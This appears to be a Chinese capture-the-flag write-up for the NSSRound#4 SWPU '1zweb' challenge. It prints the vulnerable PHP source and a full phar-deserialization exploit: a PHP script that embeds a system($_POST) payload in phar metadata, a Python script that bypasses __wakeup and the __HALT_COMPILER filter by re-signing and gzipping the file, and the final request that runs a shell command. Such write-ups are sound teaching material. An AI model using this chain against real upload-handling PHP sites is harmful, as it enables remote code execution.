[NSSRound#4 SWPU]1zweb

image.png

非预期解:

输入/flag,点击查看

预期解:
upload.php
<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}

只能传"gif", "jpeg", "jpg", "png"图片,内容中不能有__HALT_COMPILER();

index.php
<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}
?>

这里有一个echo file_get_contents($file);,可以利用phar反序列化

知识点1:

phar协议
meta-data是以序列化的形式存储的
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下
这里利用的是file_get_contents函数

知识点2:

修改属性个数可以绕过__wakeup()
正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。
playload1:

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="Misc";
        $this->dky="Re";
        $this->cmd='system($_POST["s"]);';
    }
}
@unlink("phar.phar");//删除phar.phar文件
$o = new LoveNss();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("phar.phar","1.png");//重命名为1.png
?>

运行它,得到一个1.png文件
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
image.png
记得去掉注释;

playload2:
import gzip
from hashlib import sha1

file = open(r"D:\desktop\1.png", 'rb').read()
file = file.replace(b':3:{', b':4:{')  # 修改属性个数绕过__wakeup
s = file[:-28]  # 获取要签名的数据
h = file[-8:]  # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h  # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile(r"D:\desktop\1.png", "wb")
f_gzip.write(new_file)
f_gzip.close()

运行它,得到新的1.png,上传
image.png
file=phar://./upload/4.png&s=tac /f*

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-14 05:40:04       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-14 05:40:04       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-14 05:40:04       58 阅读
  4. Python语言-面向对象

    2024-07-14 05:40:04       69 阅读

热门阅读

  1. 使用个人p12证书请求https接口数据

    2024-07-14 05:40:04       24 阅读
  2. 华为SRG2200 端口映射 & 双向NAT & 回流

    2024-07-14 05:40:04       27 阅读
  3. 宕机/脱机

    2024-07-14 05:40:04       26 阅读
  4. 【LC刷题】DAY24:122 55 45 1005

    2024-07-14 05:40:04       29 阅读
  5. Qt/QML学习-BusyIndicator

    2024-07-14 05:40:04       22 阅读
  6. 算法热门面试题二

    2024-07-14 05:40:04       28 阅读
  7. pyinstaller系列教程(一)-基础介绍

    2024-07-14 05:40:04       20 阅读
  8. 大语言模型系列-Transformer

    2024-07-14 05:40:04       25 阅读